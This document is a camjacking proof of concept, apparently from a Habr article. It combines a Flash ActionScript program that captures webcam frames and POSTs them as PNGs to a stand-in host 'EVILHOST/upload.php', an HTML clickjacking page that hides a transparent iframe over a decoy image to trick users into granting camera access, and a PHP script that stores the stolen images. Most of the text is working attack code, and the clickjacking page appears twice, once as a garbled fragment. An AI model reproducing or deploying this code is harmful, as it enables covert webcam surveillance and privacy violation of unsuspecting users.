package{ import flash.display.BitmapData; import flash.display.Sprite; import flash.media.Camera; import flash.media.Video; import flash.net.*; import flash.utils.ByteArray; import flash.events.*; public class Main extends Sprite { private var cam:Camera; private var video:Video; private var bitmapdata:BitmapData; private var ba:ByteArray; private var url:URLRequest = new URLRequest("http://EVILHOST/upload.php"); // upload.php ( ) private var wclose:URLRequest = new URLRequest("javascript:alert('Camjacked? Ok. |fil9{06.2013}|');"); private var loader : URLLoader = new URLLoader(); public function Main():void { run(); } private function run():void { cam = Camera.getCamera(); if(cam != null){ // cam.addEventListener(ActivityEvent.ACTIVITY, activityHandler); video = new Video(640, 480); cam.setMode(640, 480, 60); //60 fps video.attachCamera(cam); } } private function activityHandler(event:ActivityEvent):void { // "" bitmapdata = new BitmapData(video.width, video.height); bitmapdata.draw(video); ba = PNGEncoder.encode(bitmapdata); //Adobe PNGEncoder url.method = URLRequestMethod.POST; url.data = ba; loader.addEventListener(Event.COMPLETE, on_complete); loader.load(url); // function on_complete(e : Event):void { navigateToURL(wclose, '_self'); // Alert } cam.removeEventListener(ActivityEvent.ACTIVITY, activityHandler); } } }
<html> <body> <object width="270" height="270"> <param name="movie" value="camjack.swf"> <embed src="camjack.swf" width="270" height="270"> </embed> </object> </body> </html>
<html> <head> <script> var exit=function(){document.location='about:blank'}; // , var tryimages=function(){ //easy hack. ? return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ // ; Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/) // { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) - "". . . setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); setTimeout("document.getElementById('img').width=291",1000); setTimeout("document.getElementById('img').height=291",1070); // 70 }}; </script> <title>Camjacking simple example</title> <style> iframe { position: absolute; opacity: 0.0; z-index: 1; }; </style> </head> <body onload='load()'> <!-- PNG 1x1 --> <img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img> <iframe id='ifr' src='./swf.html' width='290' height='290'></iframe> <img id='img' src='./img.jpg' width='290' height='290'></img> </body> </html>
= 'display: none' src = 'data: image / png; base64, iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY / j // z8ABf4C / qc1gYQAAAAASUVORK5CYII ='> </ img> <html> <head> <script> var exit=function(){document.location='about:blank'}; // , var tryimages=function(){ //easy hack. ? return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ // ; Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/) // { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) - "". . . setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); setTimeout("document.getElementById('img').width=291",1000); setTimeout("document.getElementById('img').height=291",1070); // 70 }}; </script> <title>Camjacking simple example</title> <style> iframe { position: absolute; opacity: 0.0; z-index: 1; }; </style> </head> <body onload='load()'> <!-- PNG 1x1 --> <img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img> <iframe id='ifr' src='./swf.html' width='290' height='290'></iframe> <img id='img' src='./img.jpg' width='290' height='290'></img> </body> </html>
<?php $imgdata = file_get_contents('php://input'); //input raw POST data $length = 10; $randomString = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length); $imgname = "./images/".$randomString.".png"; if($imgdata){ file_put_contents($imgname, $imgdata); //PHP5 }; ?>
Source: https://habr.com/ru/post/182706/
All Articles